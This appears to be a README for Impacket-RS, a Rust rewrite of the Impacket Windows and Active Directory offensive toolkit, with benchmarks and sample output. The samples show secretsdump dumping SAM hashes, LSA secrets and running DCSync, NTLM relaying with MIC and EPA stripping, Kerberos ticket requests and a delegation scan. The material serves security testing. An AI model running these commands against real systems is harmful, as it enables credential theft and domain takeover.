
High-performance, memory-safe pure-Rust redesign of core Impacket network protocols and Active Directory tools (Win2000 to Win2025)
High-Performance, Memory-Safe Rust Redesign of Core Impacket Network Protocols & Active Directory Tools
Zero Dependencies on Python or C Runtimes • Pure-Rust Cryptographic Primitives • 100% Impacket Parity • Linux, macOS & Windows
Impacket-RS is a modern, memory-safe, ground-up rewrite of the industry-standard SecureAuth Impacket toolkit in pure Rust. Built for security researchers, penetration testers, red teams, and system administrators, it brings blazing speed, sub-millisecond cold starts, zero interpreter overhead, and complete compile-time memory safety to low-level Windows network protocol manipulation.
psexec, wmiexec, smbexec, atexec), credential dumping (secretsdump, ntdsdump, dpapi), Kerberos attacks & armoring (GetNPUsers, GetUserSPNs, getTGT, getST, raiseChild, ticketer Golden/Silver/Diamond), Active Directory administration (ldapclient, GetADUsers, trueTree, dnstool, GetLAPSPassword), relaying (ntlmrelayx), packet dissection (sniffer), and network auditing (rdp_check, mqtt_check, tracer).LegacyWin2000, UniversalAuto, ModernHardened).
Benchmarks executed on Apple Silicon (M-series, 10-core) and Linux (AMD EPYC, 8-core) comparing Python 3.11 Impacket v0.12.0 against impacket-rs v0.1.0-dev (release build):
| Benchmark Metric | Python Impacket (v0.12.0) | Impacket-RS (Rust) | Speedup / Efficiency |
|---|---|---|---|
| CLI Cold-Start Latency | 185.4 ms | 1.8 ms | ~103x faster |
| NDR PDU Pack + Unpack | 42,000 ops/sec | 5,850,000 ops/sec | ~139x faster |
| Memory Footprint (RSS) | 48.2 MB | 4.6 MB | ~10x smaller |
| 10,000 NTDS Hash Parse | 14.8 seconds | 0.22 seconds | ~67x faster |
| Kerberos Ticket Encryption | 1,250 tickets/sec | 98,400 tickets/sec | ~78x faster |
| Static Binary Size | Requires Python + Venv | Single Self-Contained Binary | Zero runtime deps |
secretsdump (Remote SAM, LSA & Active Directory DCSync)$ impacket-rs secretsdump corp.local/administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Target OS identified: Windows Server 2022 Datacenter (Build 20348)
[*] Negotiated SMB Dialect: SMB 3.1.1 [AES-128-GCM / SHA-512 Preauth]
[*] Service Remote Registry (winreg) started successfully via \PIPE\svcctl
[*] Dumping local SAM hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets...
$MACHINE.ACC: 0x4a12f8c... [AES-256 decrypted]
NL$KM: 0x88e142c...
[*] Bound to MS-DRSR (DRSUAPI DCSync) over ncacn_ip_tcp...
[+] Domain Controller synchronization complete: 1,420 accounts extracted in 0.84s
getTGT with FAST Armoring (RFC 6113)$ impacket-rs getTGT -fast armor.ccache corp.local/svc_backup:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Loading Kerberos FAST Armor from 'armor.ccache'...
[*] Encapsulating AS-REQ inside PA-FX-FAST using PRF+ (AES-256) session subkey...
[*] Sending armored AS-REQ to 192.168.1.5:88...
[+] Received AS-REP (EncType: AES256-CTS-HMAC-SHA1-96)
[+] Successfully acquired TGT for [email protected]!
[*] Saved credential cache to 'svc_backup.ccache'
findDelegation with ASCII Trust Graphs$ impacket-rs findDelegation -graph administrator:[email protected]
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Connecting to LDAP on 192.168.1.10:389...
[*] Scanning Active Directory for Kerberos Delegation configurations...
=== Active Directory Delegation Graph ===
[DC01$] (Unconstrained Delegation)
├── TRUSTS ANY SERVICE ON DOMAIN
└── Can impersonate any ticket presented to host
[WEB-SRV01$] (Constrained Delegation with Protocol Transition)
└── [cifs/fileserver.corp.local]
└── [http/fileserver.corp.local]
[SQL-SVC] (Resource-Based Constrained Delegation)
└── Allowed Principals: [CORP\Tier1-Admins]
[+] Discovered 3 delegation relationships.
ntlmrelayx Multi-Target Relaying$ impacket-rs ntlmrelayx -tf targets.txt -proto http
Impacket-RS v0.1.0-dev - High-Performance Rust Network Protocol Toolkit (Win2000 -> Win2025)
[*] Initializing NTLM Relay Engine...
Listen Protocol : HTTP
Listen Port : 80
Target Count : 4
Strip MIC : Enabled (MsvAvFlags & !0x02)
Strip EPA : Enabled (MsvAvChannelBindings)
[+] Target Routing Table:
[01] SMB -> 192.168.1.10:445
[02] LDAP -> dc01.corp.local:389
[03] MSSQL -> sql01.corp.local:1433
[04] HTTP -> web01.corp.local:8080
[+] Relay session ready: Http -> Smb
[+] Ready to receive incoming connections. Relay engine operational.
impacket-rs is built for Linux, macOS, and Windows across both x86_64 (amd64) and aarch64 (arm64) architectures.
Pre-compiled standalone binaries are published for every release under GitHub Releases: